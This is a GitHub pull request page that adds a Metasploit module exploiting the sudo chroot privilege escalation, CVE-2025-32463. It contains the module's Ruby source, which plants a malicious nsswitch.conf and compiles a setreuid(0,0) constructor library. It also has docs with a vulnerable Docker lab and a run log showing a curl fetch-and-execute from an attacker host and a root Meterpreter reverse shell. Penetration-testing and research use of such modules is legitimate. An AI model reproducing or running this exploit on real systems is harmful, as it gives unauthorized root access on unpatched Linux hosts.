-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Adds module for sudo chroot LPE (CVE-2025-32463) #20376
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Changes from all commits
4c6bfdc
d8f0f5a
cf0f35c
c6e695f
5207f97
caab870
b1acfc1
0a9dda0
547a0bb
c5c51fe
e1b8453
162f739
febb52e
02c81c5
8c43583
eef1d34
File filter
Filter by extension
Conversations
Jump to
Diff view
Diff view
There are no files selected for viewing
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,94 @@ | ||
## Vulnerable Application | ||
|
||
|
||
Sudo before version 1.9.14-1.9.17p1 allows user to use `chroot` option, when executing command. The option is intended to run a command with user-selected root directory (if sudoers file allow it). Change in version 1.9.14 allows resolving paths via `chroot` using user-specified root directory when sudoers is still evaluating. This allows the attacker to trick Sudo into loading arbitrary shared object. As target shared object, Name Service Switch (NSS) operations are trigged before resolving sudoers, but after running `chroot` syscall. The module requires existing session and requires compiler on target machine (e.g. `gcc`). | ||
|
||
## Installation | ||
|
||
1. Create `Dockerfile`: | ||
``` | ||
# ----- Dockerfile ----- | ||
FROM ubuntu:24.04 | ||
|
||
ENV DEBIAN_FRONTEND=noninteractive | ||
|
||
RUN apt-get update && \ | ||
apt-get install -y build-essential wget libpam0g-dev libselinux1-dev zlib1g-dev \ | ||
pkg-config libssl-dev git ca-certificates && \ | ||
rm -rf /var/lib/apt/lists/* | ||
|
||
WORKDIR /opt | ||
RUN wget https://www.sudo.ws/dist/sudo-1.9.16p2.tar.gz && \ | ||
tar xzf sudo-1.9.16p2.tar.gz && \ | ||
cd sudo-1.9.16p2 && \ | ||
./configure --disable-gcrypt --prefix=/usr && make && make install | ||
|
||
RUN useradd -m -s /bin/bash msfuser | ||
|
||
USER msfuser | ||
WORKDIR /home/msfuser | ||
|
||
CMD ["/bin/bash"] | ||
``` | ||
1. `docker build -t sudo-chroot .` | ||
1. `docker run -it --rm --privileged sudo-chroot` | ||
|
||
|
||
## Verification Steps | ||
|
||
|
||
1. Start msfconsole | ||
2. Get existing session to low-privileged user | ||
3. Do: `use linux/local/sudo_chroot_cve_2025_32463` | ||
4. Set target payload | ||
5. Do: `set lhost [attacker IP address]` | ||
6. Do: `set lport [attacker port]` | ||
7. Do: `run` | ||
|
||
## Options | ||
|
||
### COMPILE | ||
|
||
Option setting if compile target payload on the target. | ||
|
||
### COMPILER | ||
|
||
Option setting the compiler to compile target payload. | ||
|
||
|
||
## Scenarios | ||
|
||
``` | ||
msf6 exploit(linux/local/sudo_chroot_cve_2025_32463) > run verbose=true | ||
[*] Command to run on remote host: curl -so ./YoGpAgWbO http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./YoGpAgWbO;./YoGpAgWbO& | ||
[*] Fetch handler listening on 192.168.168.128:8080 | ||
[*] HTTP server started | ||
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ | ||
[*] Started reverse TCP handler on 192.168.168.128:4444 | ||
[*] Running automatic check ("set AutoCheck false" to disable) | ||
[+] The target appears to be vulnerable. Running version 1.9.16.2 | ||
[*] Writing '/tmp/Xw1XwkTPC' (117 bytes) ... | ||
[*] Max line length is 65537 | ||
[*] Writing 117 bytes in 1 chunks of 420 bytes (octal-encoded), using printf | ||
[*] Creating directory /tmp/ugJjJFSc9q | ||
[*] /tmp/ugJjJFSc9q created | ||
[*] Max line length is 65537 | ||
[*] Writing 216 bytes in 1 chunks of 763 bytes (octal-encoded), using printf | ||
[*] Client 192.168.168.140 requested /Q7JGOkCYlO14PhxIQeJRIQ | ||
[*] Sending payload to 192.168.168.140 (curl/8.14.1) | ||
[*] Transmitting intermediate stager...(126 bytes) | ||
[*] Launching exploit... | ||
[*] Sending stage (3090404 bytes) to 192.168.168.140 | ||
[+] Deleted /tmp/Xw1XwkTPC | ||
[+] Deleted /tmp/ugJjJFSc9q | ||
[*] Meterpreter session 10 opened (192.168.168.128:4444 -> 192.168.168.140:41672) at 2025-07-10 16:12:58 +0200 | ||
|
||
meterpreter > sysinfo | ||
Computer : kali.kali | ||
OS : Debian (Linux 6.12.25-amd64) | ||
Architecture : x64 | ||
BuildTuple : x86_64-linux-musl | ||
Meterpreter : x64/linux | ||
meterpreter > getuid | ||
Server username: root | ||
``` |
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,153 @@ | ||
## | ||
# This module requires Metasploit: https://metasploit.com/download | ||
# Current source: https://github.com/rapid7/metasploit-framework | ||
## | ||
|
||
class MetasploitModule < Msf::Exploit::Local | ||
Rank = NormalRanking | ||
|
||
include Msf::Post::Linux::Priv | ||
include Msf::Post::Linux::System | ||
include Msf::Post::Linux::Compile | ||
include Msf::Post::Linux::Packages | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
|
||
prepend Msf::Exploit::Remote::AutoCheck | ||
|
||
def initialize(info = {}) | ||
super( | ||
update_info( | ||
info, | ||
'Name' => 'Sudo Chroot 1.9.17 Privilege Escalation', | ||
'Description' => %q{ | ||
Sudo before version 1.19.17p1 allows user to use `chroot` option, when | ||
executing command. The option is intended to run a command with | ||
user-selected root directory (if sudoers file allow it). Change in version | ||
1.9.14 allows resolving paths via `chroot` using user-specified root | ||
directory when sudoers is still evaluating. | ||
This allows the attacker to trick Sudo into loading arbitrary shared object, | ||
thus resulting in a privilege escalation. | ||
}, | ||
'License' => MSF_LICENSE, | ||
|
||
'Author' => [ | ||
'msutovsky-r7', # module dev | ||
'Stratascale', # poc dev | ||
'Rich Mirch' # security research | ||
], | ||
'Platform' => [ 'linux' ], | ||
|
||
'Arch' => [ ARCH_CMD ], | ||
|
||
'SessionTypes' => [ 'shell', 'meterpreter' ], | ||
|
||
'Targets' => [[ 'Auto', {} ]], | ||
|
||
'Privileged' => true, | ||
|
||
'References' => [ | ||
[ 'EDB', '52352' ], | ||
[ 'URL', 'https://www.helpnetsecurity.com/2025/07/01/sudo-local-privilege-escalation-vulnerabilities-fixed-cve-2025-32462-cve-2025-32463/'], | ||
[ 'CVE', '2025-32463'] | ||
], | ||
'DisclosureDate' => '2025-06-30', | ||
|
||
'DefaultTarget' => 0, | ||
|
||
'Notes' => { | ||
'Stability' => [CRASH_SAFE], | ||
'Reliability' => [REPEATABLE_SESSION], | ||
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] | ||
} | ||
) | ||
) | ||
|
||
# force exploit is used to bypass the check command results | ||
register_advanced_options [ | ||
OptString.new('WritableDir', [ true, 'A directory where we can write files', '/tmp' ]), | ||
] | ||
end | ||
|
||
# borrowed from exploits/linux/local/sudo_baron_samedit.rb | ||
def get_version | ||
versions = {} | ||
output = cmd_exec('sudo --version') | ||
if output | ||
version = output.split("\n").first.split(' ').last | ||
versions[:sudo] = version if version =~ /^\d/ | ||
end | ||
versions[:sudo].gsub(/p/, '.') | ||
end | ||
|
||
def check | ||
sudo_version = installed_package_version('sudo') || get_version | ||
|
||
return CheckCode::Unknown('Could not identify the version of sudo.') if sudo_version.blank? | ||
|
||
return CheckCode::Safe if !file?('/etc/nsswitch.conf') | ||
|
||
return CheckCode::Appears("Running version #{sudo_version}") if Rex::Version.new(sudo_version).between?(Rex::Version.new('1.9.14'), Rex::Version.new('1.9.17')) | ||
|
||
CheckCode::Safe("Sudo #{sudo_version} is not vulnerable") | ||
end | ||
|
||
def exploit | ||
# Check if we're already root | ||
if !datastore['ForceExploit'] && is_root? | ||
fail_with Failure::None, 'Session already has root privileges. Set ForceExploit to override' | ||
end | ||
|
||
# needs to compile in real-time to adjust payload execution path | ||
fail_with Failure::NotFound, 'Module needs to compile payload on target machine' unless live_compile? | ||
|
||
payload_file = rand_text_alphanumeric(5..10) | ||
|
||
existing_shell = cmd_exec('echo $0 || echo ${SHELL}') | ||
|
||
return Failure::NotFound, 'Could not find shell' unless file?(existing_shell) | ||
|
||
upload_and_chmodx("#{datastore['WritableDir']}/#{payload_file}", "#!#{existing_shell}\n#{payload.encoded}") | ||
|
||
register_files_for_cleanup("#{datastore['WritableDir']}/#{payload_file}") | ||
|
||
temp_dir = "#{datastore['WritableDir']}/#{rand_text_alphanumeric(5..10)}" | ||
|
||
base_dir = rand_text_alphanumeric(5..10) | ||
|
||
lib_filename = rand_text_alphanumeric(5..10) | ||
|
||
mkdir(temp_dir) | ||
|
||
cd(temp_dir) | ||
|
||
mkdir(base_dir.to_s) | ||
|
||
mkdir("#{base_dir}/etc") | ||
|
||
mkdir('libnss_') | ||
|
||
return Failure::PayloadFailed, 'Failed to create malicious nsswitch.conf file' unless write_file("#{base_dir}/etc/nsswitch.conf", "passwd: /#{lib_filename}\n") | ||
|
||
return Failure::PayloadFailed, 'Failed to copy /etc/group' unless copy_file('/etc/group', "#{base_dir}/etc/group") | ||
|
||
exploit_code = %< | ||
#include <unistd.h> | ||
|
||
__attribute__((constructor)) | ||
void exploit(void) { | ||
setreuid(0,0); | ||
execve("#{datastore['WritableDir']}/#{payload_file}",NULL,NULL); | ||
|
||
}> | ||
|
||
upload_and_compile("#{temp_dir}/libnss_/#{lib_filename}.so.2", exploit_code, "-shared -fPIC -Wl,-init,#{base_dir}") | ||
There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. Is there any context on why we need to upload and compile our own payload here, I think there's existing payload prepend flags in framework for uid/gid setting - or was There was a problem hiding this comment. Choose a reason for hiding this commentThe reason will be displayed to describe this comment to others. Learn more. IIRC, the payload needs to |
||
|
||
cmd_exec("sudo -R #{base_dir} #{base_dir}") | ||
|
||
timeout = 30 | ||
print_status 'Launching exploit...' | ||
output = cmd_exec 'command', nil, timeout | ||
output.each_line { |line| vprint_status line.chomp } | ||
end | ||
end |
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
What kind of things are logged?
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
AFAIK, you can add setting to
sudo
that will save a log every time you run it along with arguments.There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
But this isn't the default behaviour, so I don't think we should have
IOC_IN_LOGS